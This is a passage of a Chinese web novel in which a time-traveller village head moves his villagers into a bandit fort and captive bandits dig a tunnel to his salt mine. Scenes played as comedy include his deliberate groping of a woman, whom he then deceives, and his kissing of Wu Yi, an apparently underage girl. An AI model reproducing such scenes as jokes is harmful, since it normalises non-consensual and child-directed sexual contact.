“哪怕是身子弱的老人,无论是扫院子还是看大门,都有工钱。”
“所有孩童,全部学习识字算术、针织女红。”
秦瑶和白蓉蓉,以前和陈息提过好几次,她们在家无事做,想教给村里孩童识字女红,但几次都被陈息以暂时条件不允许给否决了。
这次正好赶上机会,鹰嘴山匪寨很大,完全有条件开设一间学堂,两位娘子喜欢教学,正好给她们找些事做。
秦瑶,白蓉蓉闻言心中一喜,夫君终于答应了。
想凑到夫君怀里蹭一蹭,但见大夫人没动,她们也不敢动。
只能一脸欣喜的望着夫君。
“村长,您说的是真的吗?我们这些老骨头也有活计做,真的是太好了。”
“谢谢村长,谢谢村长。”
“孩童都能识字,感谢村长,您就是我们的大恩人呐。”
一些上了岁数身体不好的村民,激动的老泪纵横,哆哆嗦嗦的要下跪。
妇人们擦着眼泪,自己的孩子也能和县里孩子一样,有识字的机会,当真祖宗显灵了,呜呜呜......
“都别跪,我这里不兴这一套,都回家准备去吧,明早出发。”
村民们人人感激涕零,临走时还不忘给陈息深鞠几个躬。
众人都走后,樊妍一脸幽怨的凑上前:
“夫君,咱们的新房刚建成,真的就要走吗?”
秦瑶和白蓉蓉也舍不得新房,这可是她们眼看着建起来的,现在就要舍弃了,心里很难受。
陈息知道三位娘子舍不得新房,心疼的将她们搂在怀里,抚了抚几女的背,解释道:
“咱们不是舍弃这里,只是换个地方生活一段时间。”
“等度过了冬季,春耕时还要回来呢。”
樊妍听见夫君说还会回来,俏脸才露出笑容,紧贴在夫君怀里:
“嗯,都依夫君的。”
安慰了几女好一会,这才进屋。
陈息离开的这几天,屋内已经布置好,三铺火炕,每
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个娘子都有一个房间。
锅碗瓢盆,换洗被褥,一应俱全。
只等夫君回来便入住新房。
陈息挨个看了看房间,非常满意,房间是三女亲自布置的,相当整洁。
一家人吃完了饭,当然要活动一下,有助消化。
陈息先是在樊妍这里运动了半个时辰,听见她求饶后,转战秦瑶房间。
又是半个多时辰过去,秦瑶哭着求这货去找蓉蓉,她也不再坚持了,自己和大夫人都侍候不好夫君,只能将白蓉蓉推出来挡箭。
至于谁先怀孕都不重要了,小命最重要。
白蓉蓉小耳朵一直贴在墙壁,听见秦瑶让夫君来找自己,小脸一喜,知道机会来了。
赶紧脱光身子,躺在炕上等着夫君。
一张白手帕垫在身下,秦瑶都有白手帕,想夫君时还拿出来偷看,自己也要有。
陈息轻轻推开房门,见白蓉蓉好像睡着了,转身就要离开。
白蓉蓉感觉不好,自己只是装个小矜持,可不能错过心心念念的机会。
什么矜持不矜持的,不重要,二夫人的位置才重要。
一把拉住夫君,就往炕上拽。
“夫君......”
陈息见她没睡,咧嘴一笑,顺势上了炕。
黑暗中,耳边传来一道糯糯的声音:
“夫君我要,都给我...”
听到声音后,这货一脸玩味:
“娘子,你确定?”
“嗯嗯嗯!”
白蓉蓉虽然是第一次,但她很放得开,必须要比秦瑶先怀孕,二夫人的位置,她从进门那天就惦记上了。
陈息得到开火命令,兴奋坏了。
刚才没尽兴,这次一定要努努力。
于是。
一个时辰后,白蓉蓉嗓子都要哭哑了。
新铺的炕差点被这货晃塌。
终于在一道蛮牛怒吼声中,结束战斗。
白蓉蓉哆嗦着手,将垫在身下的手帕装进盒子里,全身提不起一丝力气。
这二夫人的位置,不要也罢。
翌日。
宁乱这些天,一大早便来大哥家里报道,雷打不动。
“大哥,听说你回来了。”
陈息打开屋门,院子里宁乱见到自己,嘿嘿一笑:
“大哥,你带村民去鹰嘴山。”
“能不能把我老娘也带上?”
“这些日子我没在家,有些放心不下。”
陈息白了这货一眼,笑骂一句:
“你老娘就是我老娘,用特么你说。”
“我一大早便让二牛去接了。”
宁乱心里一喜,还是大哥想的周全,挠挠头,有些不好意思道:
“大哥,我还有些能干活的亲戚,家里都吃不上饭了,我能不能把他们带山里做活计?”
“人靠谱么?”
陈息怕走漏了风声,山中的基地,只有几个为数不多的亲信知道。
“放心吧大哥,都是我堂兄弟,身体好,办事靠谱。”
陈息眼睛一亮,宁乱这身体就够猛的了,想来堂兄弟也差不了太多。
“行,让他们嘴严实点,做好了有赏。”
“嘿嘿,好嘞大哥。”
宁乱见大哥同意自己带人进山,心里非常高兴,刚要离开,突然想到了什么,回头又道:
“大哥,这两天在山里,我总能听见点些不寻常的声音,像是要雪崩。”
陈息闻言一愣,雪崩?
深山那里自己最熟悉了,无论是地形地貌,都不具备雪崩的条件,想来是宁乱太紧张,听错了。
“不可能雪崩,你放心干便是了。”
“嗯嗯,好嘞大哥,我进山了,大哥路上小心些。”
宁乱走后,村民们也集合完毕,家里没什么值钱东西,抱着口锅,条件好的捧着一床被褥,这就是他们全部家当。
三位娘子的马车已经备好,陈息大手一挥。
出发。
樊妍和秦瑶,两女一边一个,扶着白蓉蓉搀上马车。
路过夫君身边,同时瞪了这货一眼。
蓉蓉还是第一次,能不能轻着点。
陈息也有些不好意思,昨晚是有点莽了,但这也不能全怪我啊。
是这小妮子一直嚷着不服来着,为夫只是证明一下实力。
温柔点也不是不行。
下次,下次一定。
这货最擅长自己给自己开导。
陈息骑上黑蛟,引领着队伍,浩浩荡荡朝鹰嘴山进发。
这次将娘子们和村民都安顿好,没了后顾之忧。
接下啦,便要进城办点正事了。
第103章 你要篡位
整个村子的人前往鹰嘴山,大大拖缓了速度。
足足走了2天,才到山脚下。
当陈息准备带人上山时,叶红缨出现在小道上,一脸微笑的向这边走来。
“哈,有劳......”
既然人家亲自来接自己,陈息想表现的客气一些,毕竟还要以这愣种的名义扯旗呢。
可话才说到一半,叶红缨擦着肩路过他,走向后面的马车,脚步丝毫没有停顿。
“大夫人好,红缨来接你们上山。”
樊妍刚掀开车帘准备下车,便看到叶红缨春光明媚的冲着自己打招呼,语气十分亲昵。
“呀,怎敢劳烦红缨姑娘。”
樊妍见到叶红缨很是欣喜,这段日子相处下来,她知道红缨姑娘侠肝义胆,上次土匪来袭,还是她主动保护的自己。
两人手牵着手寒暄,秦瑶扶着白蓉蓉下车,见到叶红缨第一个打招呼,四个女人很快便热络的聊了起来。
陈息见叶红缨和自己三位娘子聊的开心,一脸黑线,原来这愣种不是来接自己的,好一个热脸贴屁股。
“好了,村民们都等着呢,有话上山再说。”
听陈息催她们上山,叶红缨回头,扬起雪白的下巴,轻哼一声。
转身拉着樊妍几女,又是开心的说起来:
“夫人们请随红缨来,红缨亲自为夫人们挑选的房间,保准夫人们满意。”
说完话,拉着她们便上山,路过陈息身边时,还不咸不淡的叮嘱一句:
“我的任务完成了,你的村民你自己安排。”
说完扭头就走,态度十分傲娇。
陈息都要被这愣种气乐了,敢情她知道不是自己对手,故意找来三位娘子当帮手。
好一个围魏救赵。
有了叶红缨领着三位娘子上山,省去陈息兼顾不暇。
和二牛一前一后,将村民全部引领上山。
等村民全部上山,已经到了午时。
村民们望着巨大的寨子,无不欣喜异常,没想到这山上别有洞天。
一排排整洁的房子,巨大的广场,生活器具一应俱全。
这么多村民上山,一点都不显得拥挤。
陈息给每户村民都分配了居所和粮食。
村民们又是一阵千恩万谢。
男人们上山第一件事便是砍柴,妇人们欣喜着打扫房间,孩童们到广场嬉戏打闹。
不多时,炊烟升起。
人间烟火气,最抚凡人心。
这一刻,宽敞的寨子不再冷清,满是热闹和谐。
大妮等7名女子,为陈息一家准备好了午饭。
叶红缨把饭菜端上桌也不走,以想多和三位夫人多聊聊为借口,主动上桌。
樊妍三女很愿意与叶红缨相处,将陈息晾在一旁,四女吃着聊着,氛围极度融洽。
饭菜虽不是很丰盛,但大妮她们的手艺很出色,这一顿吃的暖暖乎乎,一扫风尘仆仆的疲惫。
几女聊天,陈息全程插不上话。
他知道樊妍,秦瑶两位娘子,还在生自己的气。
赶路期间,两位娘子无时无刻不在照顾着白蓉蓉。
同为女子,她们见到白蓉蓉被夫君摧残的不像样子,怎能不感同身受。
这夫君哪里都好,就是有些时候没轻没重,故意不理他。
陈息耳朵也没闲着,从叶红缨嘴里听到,她成立个红缨队,队员全部是女性。
7个徒弟都是副队长。
她是总队长。
陈息一口饭差点喷出来,好家伙,一共8个人,都是领导。
这愣种,一根筋。
想怎么折腾,怎么折腾去吧。
吃完了饭,樊妍和秦瑶照顾着白蓉蓉休息。
陈息和叶红缨来到山洞那边,查看土匪们挖洞进度。
红缨队守在洞内,每人手持一杆**,监督土匪们挖洞。
才几天没见,她们的变化很大,无论是形象和气质,都有了很大改观。
全无第一次,见到她们时的柔弱,此刻拿着**,倒是有了些英姿飒爽的感觉。
身形笔直,眼神不再躲闪,将土匪们驯的老老实实。
见陈息和师父来了,红缨队一同抱拳:
“见过恩人,见过师父。”
陈息一摆手:
“副队长们不用客气,以后叫我村长。”
迈着八字步,来到正在做工的土匪们身边。
土匪们见陈息来了,镐头抡的飞起,生怕这位爷以为他们偷懒。
陈息左右看了看洞壁上的新茬,这几天进度很快,足足向前掘进了10几米。
罗蛮子与霍山最卖力,因为他俩是别的寨子土匪领队,生死全看这位爷的心情。
“铛铛铛...”
铁矿石被他俩刨的直冒火星子。
陈息满意的点点头,照这进度下去,应该很快便挖通了。
转身要走,突然听见后面一声大喊:
“透风了,透风了。”
陈息闻言,立马回头,几步便来到近前,上下观察了一下,大嘴一点点咧开。
从怀里掏出一块布条,两根手指夹住,凑近。
布条来回晃动,明显洞壁外面有风吹来。
“砸,给我继续砸。”
“好嘞爷!”
罗蛮子和霍山,吐口唾沫在手里搓了两下,拿起搞头便抡了起来。
这可是他俩表现的机会,山洞马上通了,这位爷念在自己功劳上,应该保住命了吧。
“铛铛铛...”
“铛铛铛...”
陈息也不走了,就在这里看着他们砸,眼中兴奋之色越来越浓。
挖通了山洞,代表着鹰嘴山可以作为长期的根据地。
就算被人围了山,也有退路可走。
两批土匪换班砸,一组累了,另一组立即顶上。
这一砸,便是半个时辰。
“有光了,透光了。”
霍山兴奋的大叫,微弱的光线顺着缝隙射来,犹如黑暗里的明灯。
陈息上前抢过镐头,大喝一声:
“都退后...
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”
众人立马退后,叶红缨也好奇起来,她也想知道这山洞挖通后通向哪里。
陈息瞄准缝隙,双膀用力,镐头被抡成一个夸张的弧度。
“铛铛铛...”
几镐头下去,大块大块的铁矿石掉落。
众人瞪大了眼睛,齐齐缩了缩脖子,好大的力气。
这位爷一个人,至少顶他们5个人。
又是几镐头下去,缝隙越来越大。
通过缝隙,已经能看到外面的树木与积雪。
一鼓作气,又是十几镐头下去,洞口已有一个成年人头部的大小。
陈息越砸越兴奋,胜利就在眼前。
突然。
“嗖——”
破空声响起,一道流光射入洞口。
陈息正在抡着镐头,眼见流光向自己射来,突如其来的状况令他始料不及。
双臂肌肉鼓起,一股激劲,高举的镐头迅速落下,挡住胸前。
“铛——”
一支羽箭射中镐头,火花四溅,所有人都下意识的闭上眼睛。
强大的力道,震得陈息手掌发麻,噔噔噔的连退数步,叶红缨怕陈息受伤,一个箭步护在他身后。
但陈息身子沉,叶红缨由于护的仓促,脚下不稳。
扑通一声。
叶红缨摔在地上,陈息摔在叶红缨身上。
感觉到后背柔软,伸手一摸...
啥东西,圆圆的这么宣?
捏了两下,弹性十足。
陈息眯起眼睛装作不知道,又捏了两下才挣扎爬起。
土匪们想过来看看情况,被红缨队用**止住。
“都老老实实蹲下,否则格杀勿论。”
土匪们吓坏了,都老老实实蹲在地上,双手抱住脑袋。
7个女子快步来到近前,见陈息已经起身,她们立即扶着师父站起。
“师父师父,您这么样了?”
“师父您有没有受伤?”
一边询问师父的情况,一边用手拍打叶红缨脏了的衣服。
“没事没事...”
叶红缨剧烈的喘了几口粗气,随意拍打几下衣裳,目光不善的盯着陈息,这登徒子是不是故意的?
本姑奶奶,好像被他捏了好几下。
陈息站起身后,扭头看了一眼叶红缨,呲着一口大白牙,一脸不好意思:
“哎呀,多亏了红缨姑娘相助,不然可摔掺了,你没事吧?”
叶红缨眯着眼睛,见他不像故意的,才哼了一声扭过头去:
“没事。”
陈息吓坏了,刚才手欠,咋就还捏了两下呢。
反正这事不怪我,谁让那东西手感这么好呢。
幸亏影帝及时附体,不然这愣种肯定不会善罢甘休。
捡起地上那支羽箭,凑近火把一看,脑袋嗡的一声。
这箭头。
这踏马不是我做的么。
再看箭杆,表情越来越古怪。
躲着洞口射来的光,侧着脸贴在洞壁上,大喊一声:
“你踏马要篡位?”
第104章 盐矿,铁矿,连在一起
陈息侧脸贴着洞壁,恨得咬牙切齿,表情都有些扭曲起来。
好在身手矫健,不然自己三个娘子都得便宜他了。
自己才占一个嫂嫂,那犊子要占仨?
怪不得管自己叫大哥,原来这犊子早就想篡位。
声音透过洞口直达外面。
不多时,便传来咯吱咯吱声响。
那是脚掌踩在雪地的声音。
脚步声停止,一道熟悉的声音响起:
“大哥?”
陈息深吸了两口气,鼻子都要气冒烟了:
“你踏马咋来这了?”
这句话一出来,外面可是听清了,立即传来一道大叫:
“诶**,真是大哥!”
洞口光线突然被挡住,一个白毛脑袋挤了进来,宁乱眼珠子转了转,借着火把的光亮看清楚里面的人。
“哈哈大哥,真的是你啊大哥。”
陈息气呼呼的,一把拧住他耳朵:
“说,你咋在这?”
宁乱脑袋卡在洞口,耳朵被大哥捏住,疼的直咧嘴,嘴里不住的解释:
“大哥别,大哥疼...”
陈息见他怂了,气也消了一半:
“跟我说说,怎么回事?”
宁乱感觉耳朵上力道减轻,这才嘿嘿一笑,咧着大嘴丫子开始讲了起来:
“大哥我和你说,前几天我不是说山上有动静嘛,还以为要雪崩呢。”
“嘿嘿,大哥你猜咋了?”
“咋了?”
“没想到雪没崩,把大哥崩出来了。”
陈息手上再次加了力道,狠狠拧了半圈儿,语气充满威胁:
“你再给我说一遍。”
宁乱疼的呲牙咧嘴,脑袋不敢往回缩,怕伤了大哥的手,只能任由大哥捏着:
“大哥大哥我说错了,我那意思大哥懂吧。”
“我是说哈,我不是感觉要雪崩嘛,今天动静越来越大,我就上来看看,没想到这里出现个洞。”
“我还以为是**呢,就躲起来看看情况。”
陈息郁闷的盯着他,**,你全家都是**。
不对,他老娘就是我老娘,我可不是**。
“然后你就拿箭射大哥啊?”
“吃大哥,喝大哥,还要拿箭射大哥。”
“是不是?”
宁乱被陈息问的,嘴巴张开好几次又闭上,都不知该怎么回答,一时懵住了。
陈息呵呵一笑,松开手:
“行了,你到外面帮帮忙,合力把洞口挖开。”
“嘿嘿,好嘞大哥。”
宁乱说完,缩回脑袋到洞外。
陈息后退几步,一摆手,指挥着土匪继续挖洞。
众人一拥而上,希望就在眼前,这次更加卖力。
叶红缨还在因为刚才的事心乱,虽说自己是将门世家,有些江湖气在身上。
但男女有别她还是很在乎的,这登徒子一次又一次的占自己便宜。
可能是习惯了,这次她没多会便适应了。
至于为什么这么快就适应了。
晃了晃脑袋,嘴巴撅起,想了半晌也没想通缘由。
一根筋有时也挺好的,想不通,索性就不想了,凑上前来盯着,正在沉思的陈息:
“你弟弟是不是迷了路,绕到后山了?”
陈息哑然失笑,心里已经清楚山洞挖通后是哪里。
要说迷了路,自己才是迷了路。
怪不得,总感觉窝窝村与鹰嘴山之间的路,像是绕圈呢。
原来两地本就不远,只是被一道大山阻隔,现在挖通了这个山洞,直线距离很近。
自己两个基地意外的连接在一起,给了他很大惊喜。
再也不用为了后顾之忧烦恼,那边有盐矿,这边有铁矿,完全可以大刀阔斧的干了。
陈息看了一会叶红缨,心里已经做出决定,既然两人都绑定在一起,盐矿的事还是同她说了吧。
总瞒着,也未见得是好事。
“待会带你看样东西,到时候你就知道了。”
叶红缨闻言,心中好奇起来,见陈息卖关子,自己也不上杆子追问。
有了宁乱在外面帮忙,洞口很快便挖通了。
陈息偏过头来,冲着叶红缨一努嘴:
“走吧,带你去看看。”
“好。”
两人穿过洞口,眼前被大片树林覆盖,由于是冬季没有树叶,视线穿过树林望出很远。
后面的土匪也好奇洞口外面是哪里,由于被红缨队看着,他们不敢出来,但可以向外偷看。
罗蛮子和霍山,不时的伸出脑袋向外面张望。
贼眼珠子不停的转动。
陈息余光扫到他们的动作,嘴角露出一抹危险的弧度。
这些人,还在想着逃。
既然这样的话,就别怪小爷无情了。
装作没看见他们,略微辨别一下方向,领着叶红缨走进树林。
叶红缨则是看到哪里都新奇,没想到这山洞外面,还隐藏着这么一大片树林。
若是夏季的话,野花盛开,应该好美吧。
陈息四下转了转,这片树林占地很大,山崖边还有一个泉眼。
寒冬季节也冒着温热的泉水,泉水顺着一道天然水沟流到山崖后方,后方又是一道断崖,泉水由于流的久,水温存不住,便形成一道冰川挂在断崖下方。
煞是好看。
这地方不错,可以修个温泉。
到时候带着三位娘子泡上那么一泡。
啧啧啧!
见陈息盯着泉水看,宁乱挠挠头走了过来:
“大哥,这泉水很是甘甜,我每天都过来取一些。”
陈息笑了笑:
“以后别取了,这温泉我征用了。”
“走吧,到盐矿看一看。”
盐矿与鹰嘴山相通,自己好些天没来了,自然要看看山里建设情况和修路的进度。
宁乱在前面带路,穿过树林,再下了一个缓坡,便到了盐矿位置。
徒步的话,两刻便能抵达。
陈息再次来到盐矿时,差点没认出来。
周围的树木再次被砍伐一大圈,光秃秃的,什么猛兽都无处遁形。
砍下来的树木被修建成木屋,供劳力们居住。
陈息四下看了一圈,满意的点点头:
“不错!”
劳力们都在做工,偌大的基地,已经初具规模。
叶红缨简直看呆了,这深山里,竟然还隐藏着这么多人。
望向陈息的眼神忽明忽暗,原本以为这登徒子,只是仗着村民们勇力和一些小聪明,才打赢土匪。
没想到......
他在这里还有这么多人。
尤其是看到那些劳力,个个身体健硕,稍加训练一下,战斗力肯定不低。
她以前经常跟着父亲到军营练兵,一眼便看出那些劳力是打仗的好苗子。
这么看的话,这登徒...这陈息,还真有可能帮自己救出家人。
叶红缨呼吸急促,双手捏了捏衣角,脸蛋红红的,望向陈息的眼神,复杂难明。
“红缨姑娘,这里是我的盐矿,以后......”
陈息转身想给她介绍一下盐矿,突然对上她的大红脸,一时有些懵逼。
叶红缨与其对视一瞬,立即扭过头去,抬手捋了捋头发,目光看向别处,装作没听见。
但那张红扑扑的脸,出卖了她。
“红缨姑娘脸这么红了?是不是发烧了?”
陈息一道玩味声音响起,俏脸瞬间红到了脖子根。
“刚才走的急,我回去休息一下便好了。”
说完,头也不回的穿过树林,小跑回山洞。
哎呀,尴尬**,尴尬**。
陈息见她风风火火的跑回去,摇头无奈一笑,人都跑了,还介绍个6饼啊。
有机会再说吧。
继续看着劳力们干活,突然眼睛一亮。
胡伢子两米高,在人群中最显眼
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,此时正搬起一块巨石垫路。
他的蛮力陈息见识过,和宁乱不相上下。
让他惊奇的是,胡伢子身边还有6个人,同样搬起那么大的巨石,力气丝毫不逊色于他。
抬手指了指:
“那几个人是谁?”
宁乱顺着方向一看,咧嘴一笑:
“嘿嘿大哥,那是我的堂兄弟啊,大哥答应我的,带他们进山做活计。”
陈息这才想起来,确实答应宁乱带几个堂兄弟进山做活计。
“你把他们都喊来。”
“好嘞。”
宁乱没多想,照着大哥的吩咐去喊人。
不多时,带着6个壮硕男子来到陈息面前,一躬身:
“大哥好。”
陈息打量几人,个子没有宁乱高,但很敦实。
脸庞黝黑,眼神清澈。
“家中还有什么人?”
几人立即作答,家中有婆娘孩子,还有老爹老娘的,一一介绍了家里情况。
不管他们怎么回答,都能听出来一个字。
穷。
不然也不会求着宁乱,带他们到山里来做活计。
陈息从怀里掏出些铜钱:
“做的好,有赏。”
几人见陈息给他们赏钱,你看看我,我看看你,紧张的直搓手。
不敢要啊。
是不是自己做活计不努力,赏钱变成工钱了,这份活计还保不保得住啊。
家中婆娘孩子都在等着吃食,这可这么办才好。
他们没了主意,都恳求的看着宁乱,希望他给自己说些好话,保住这份得来不易的活计。
宁乱嘿嘿一笑,从陈息手里接过铜钱,塞到他们手上。
“不必拘谨,这是大哥赏你们的。”
几人接过铜钱,再次对着陈息深深一躬:
“谢谢大哥。”
陈息微微一笑:
“你们好好做,做的好了,可以和乱子一样,都把家人接来,住在我这里。”
几人早就听说,宁乱的老娘被大哥接来享福去了,一个个都羡慕的紧。
他们早就不想在上河村住了,附近土匪时不时的来打秋风,谁受的了。
他们还知道,大哥带着窝窝村村民打退了土匪,跟在大哥身边,至少不受土匪欺负。
没想到,这种好事也能轮到自己?
几人还在愣神,宁乱率先开口:
“还不谢过大哥。”
这一嗓子震醒他们,扑通一声全部下跪磕头:
“谢谢大哥,谢谢大哥。”
陈息白了宁乱一眼,赶紧将几人扶起:
“行了,回去做活计吧。”
“好的大哥,谢谢大哥,俺们一定好好做活计报答大哥。”
几人走后,陈息问道:
“我走这几天,那些劳力听话么?”
宁乱知道大哥在担心什么,立即回道:
“大哥你放心,那些劳力根本没有逃跑的举动,这里有吃有住,他们巴不得一辈子赖在这里呢。”
宁乱说的和陈息预想的不差,通过这些天接触,他也知道这些劳力没有逃跑的想法。
“行了,老娘被我接到寨子里了,下了工,带着宁宁和武怡过来,晚上一起吃个饭。”
“好嘞大哥。”
宁乱乐坏了,老娘安顿下来,心里一块大石落地。
这几天他下了工便回去照顾老娘,早上到窝窝村报道,再到山里带着劳力们做活计。
时间很是紧凑。
这下好了,老娘搬过来了,省去了很多繁琐步骤。
再叮嘱宁乱几句,转身回了鹰嘴山。
既然两个基地连在了一起,那么两个匪寨的压力将大大减轻。
等见到县尉时,手上又多了一道筹码。
明日进城,还需见一个人。
想到这个人,陈息就感到头疼。
人家都从小甜甜变成牛夫人。
自己则好了。
从牛夫人变成小甜甜。
头大!
第105章 玉佩,保不住啦
太阳刚下山。
宁乱收了工,带着宁宁和武怡,穿过山洞到了寨子。
三人见到巨大的寨子,都傻眼了。
两个小姑娘左瞧瞧,右看看,兴奋的眉眼弯弯。
宁宁平时都没出过村子,哪里见到过这么大的寨子,那么多漂亮的房子,还有个巨大的广场。
广场中央几个孩童嬉戏,你追我赶,好不热闹。
武怡是从州府来的,见过些世面。
但身处如此和谐的画卷里,依旧很开心。
身子转了个圈,仰起脑袋,张开双臂,吸了一口新鲜空气。
“呼——”
睁眼便对上高耸的大山,白雪皑皑,几只喜鹊落在枝头叽喳报喜。
“哇,好美!”
武怡双眼冒着小星星,等到日出时,一定要把这美景画下来。
这时,陈息扎着围裙,端着一盘菜从厨房出来,正巧看到几人。
“就等你们了,进屋。”
陈息这嗓子传来,宁乱扭头,见到大哥亲自端着菜,大喊:
“大哥,我来帮你。”
刚想跑过去,腰间传来被人拧住的痛感,一回身,正对上宁宁威胁的眼神。
“后边去。”
宁宁松开手,率先朝着陈息那边跑去,来到近前,还故意捋了捋本就不乱的鬓角,甜甜一笑:
“大哥好,宁宁来帮您。”
伸出雪白的小手接过盘子,两朵红晕悄悄爬上脸颊,看了陈息一眼,又迅速低下头去。
陈息见到宁宁这副表情,心脏狠狠抽了一下。
这...这...
宁乱见自己妹妹对大哥这副样子,讶然一瞬。
随即大喜过望。
大哥还没有妾室,这样看来...
自己有机会,当大哥的大舅哥了?
必须找个时机,撮合大哥和妹妹。
这事可办!
武怡跑的慢,宁宁接过盘子她才赶到。
小脸有些失望,这么好的表现机会没有轮到自己。
“师爷好!”
武怡到了身边,正好解了陈息尴尬之围。
抬手摸了摸武怡的脑袋,一脸微笑道:
“嗯乖,最近和那俩老头子,学没学到东西呀?”
武怡被陈息摸着头,脸蛋红了红,甜甜开口:
“小怡学到啦,两位师父都夸小怡进步很大呢。”
陈息哈哈一笑,又摸了摸她的头:
“好,有进步就好。”
说罢,就要带着几人进屋。
身后的武怡急了,她心心念念的玉佩,师爷是不是忘了?
捏着陈息的袖子摇晃几下,小脸哀怨起来:
“师爷...师爷...说好的奖励呢?”
一听到武怡嚷着要奖励,宁宁也不走了,转过身来,眼巴巴的望着陈息。
被两个小姑娘这么盯着,陈息干咳了几声。
自己这阵子忙,确实把武怡玉佩的事忘了。
玉佩就在自己身上,但身边还有个心思不单纯的宁宁,这奖励...
患寡而患不均啊。
“那个哈,小怡虽说进步很大,但师爷还没看到。”
“等师爷这阵子忙完,检查了你们的成绩,你和宁宁都有奖励。”
武怡听完,嘟起小嘴继续摇晃陈息的袖子,不满道:
“师爷,上次您都说小怡完成一半了,这次呢?”
上次在窝窝村做连**,陈息夸了她几句,说她完成到奖励的一半了,这小姑娘到现在还记着呢。
陈息见武怡不依不饶,知道她还念着玉佩的事。
蹲下身来找了一块小石子。
在地上画了一个圈。
“你们看,这是什么?”
两个小姑娘一脸好奇的看向地面,抬起头来还是疑惑。
这不就是圈嘛,还能是什么?
宁乱挠了挠脑袋,突然眼睛一亮,嚷嚷道:
“大哥大哥,这是饼。”
陈息大感意外,这小子变聪明了?
知道我在画饼?
一把拉过宁乱,重重拍了两下他的肩膀:
“对,就是饼。”
宁乱见大哥夸自己,憨笑一声,不好意思的挠挠脑袋:
“大哥画的圈大,这是大饼。”
“对对对,大饼,大饼。”
陈息越看宁乱越顺眼,还是这小子懂我啊。
武怡和宁宁对视一眼,又看看地上的饼,眼神中充满了问号。
“师爷师爷,您还没说小怡完成多少了嘛。”
陈息又是哈哈一笑,蹲下身来在大饼中间画了个十字。
丢掉石子拍了拍手,一副老学究的架势:
“你看,这大饼被师爷分成了4份,你现在依旧完成了3份,比上次的一半,进步一点点。”
武怡见自己完成了3份,拍拍手跳了几下:
“太好啦,下次我就能完成4份啦。”
陈息见武怡中计,站起身来一脸坏笑,下次将那大饼分成5份,你完成4份。
分成6份,你完成5份。
呵呵呵,小姑娘。
太嫩了啊。
“好了,进屋吃饭。”
这次武怡不再纠结了,希望就在眼前,美滋滋的跟着师爷进屋。
几人进了屋,第一眼便看到高座之上,坐着老娘。
高堂主座,尽善尽孝!
宁宁心中一喜,放下盘子,和宁乱齐齐来到老娘身边嘘寒问暖。
一家人兴奋之色,溢于言表。
老娘眼含热泪,拍着儿女的手道:
“这一路上,多亏了你们陈大哥照顾为娘,为娘吃得饱,住得暖。”
“连上山的路,都是你们陈大哥背着为娘上来的,还不快谢谢大恩人。”
一听老娘这话,兄妹俩就要下跪。
陈息这次有经验了,赶紧扶住兄妹俩不让他们跪下。
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“你们老娘也是我的老娘,咱们不整那些虚的,坐下吃饭。”
“好嘞大哥,谢谢大哥。”
宁乱感动的哭了,红着眼,抬起臂弯狠劲蹭了一下流出的热泪。
宁宁在一旁,眉眼含春的看着陈息,怕他发觉,又赶快低下。
“好了好了,快坐,今日我亲自下厨,咱们一家人好好吃饭。”
“好耶,又能尝到师爷的手艺啦。”
武怡很兴奋,和三位师奶奶打了招呼便坐下。
这一张大桌子,坐满了人。
老娘主座,左边陈息右边宁宁,樊妍,秦瑶,白蓉蓉,叶红缨,武怡,张神医,宁乱,二牛,依次而坐。
再看桌上,山珍占了一半,中间2条大鱼,配上一些爽口小菜,每人面前都摆了一碗蛋花汤。
煎炒烹炸,口味多样。
陈息打开一坛自制的白酒,为每人都倒了一些,剩下的大半坛被叶红缨霸占。
举杯,畅饮。
期间,陈息还给大家讲了几段小笑话,气氛直接拉满。
这是叶红缨近些日子最开心的一天,虽然不怎么说话,见到大家开心,她也开心。
无他,这种氛围实在是太好了,其乐融融。
喝了2斤醉倒,迷糊着还不忘抱紧坛子,被7个徒弟架了回去。
宁乱和宁宁,照顾着老娘回房。
张神医,二牛也都离开。
平时武怡和宁宁在山里有一间小屋子,两个小姑娘作伴。
此刻到了寨子,自己住着害怕,被樊妍安排在她隔壁房间。
陈息有些醉意,出门走了走,暗桩已经被重新选址,村民们轮番守岗。
都检查完了才回屋。
先是摸到了秦瑶房间,半个时辰过后,意犹未尽的离开。
又到白蓉蓉房间,由于白蓉蓉身子未恢复,只能学着秦瑶的技能侍候夫君。
又是半个时辰过去,陈息依旧没尽兴,再次摸进樊妍的房间。
轻轻推开门,一道曼妙身姿缩在被中。
青丝柔亮,铺在枕边。
陈息嘿嘿一笑,不声不响的钻进被里。
大手开始不老实起来,转过樊妍的脸蛋,双唇相印。
感觉对方的唇有些颤抖,陈息一皱眉头,这味道,咋有点...不对劲。
松口,翻身轻轻下床。
耳边传来一道糯糯的声音。
“师...师...师爷...”
这一道羞怯声响起,陈息吓得魂都没了。
闭着眼,双手伸直,一边学着僵尸跳,一边说着胡话。
“这...这是哪...”
“还在地球吗...我又梦游了...”
好不容易混出房间,后背已经湿透。
完啦。
坏菜啦。
刚给人家画完饼,就......
一拍脑门。
玉佩保不住啦。
第106章 再见小甜甜
翌日清晨。
陈息从柴房的干草堆中醒来。
回头看了眼那堆干草。
好家伙,穿越来第一天就是干草堆,现在依旧是。
拍了拍衣裳,走出柴房。
樊妍三女,已经将早饭备好。
陈息贼眉鼠眼的扫了一眼屋子,没见到武怡的身影。
“小怡呢?”
樊妍白了他一眼,回道:
“早早便和乱子进山了。”
随即又一脸幽怨道:
“夫君昨晚是不是又去欺负蓉蓉了,蓉蓉身子还没恢复,夫君可要轻着点。”
陈息挠挠头,讪讪一笑:
“娘子请放心,为夫心疼蓉蓉来不及呢,哪里舍得欺负。”
陈息说完话,三女同时给他一个大白眼。
白蓉蓉心说,还说不欺负,自己嘴皮子现在都是麻木的。
这货见气氛不对,简单吃了一口便嚷嚷着要出门办事。
他要躲起来一阵子,不然碰见武怡。
是打招呼呢?
还是打招呼呢?
赶紧来到叶红缨的马厩,解开黑蛟绳索,牵了出来。
叶红缨不知何时出现在马厩门外,吓了陈息一跳。
她弯起嘴角,伸出一只雪白玉手,掌心向上。
陈息会意,立即从腰间摸出5个铜钱,轻轻放在她手上:
“再骑一天。”
叶红缨扬起下巴一扭头,喜滋滋的离开了,同时还飘来一两个字:
“喂饱!”
背影消失,陈息冲着她离开的方向,伸出两只手,呈爪状,对着空气狠狠捏了一下。
“抓奶龙抓手。”
翻身上马,后面驮着一只麻袋,离开了寨子。
黑蛟速度快,一个时辰便到了县里。
首先来到县衙。
这段日子陈息没来,衙役们每天都在期盼。
时不时的上街左右瞅瞅。
见到没有这位爷的身影,又回去站岗。
今天如愿以偿,看着陈息骑着高头大马出现,立即小跑过来。
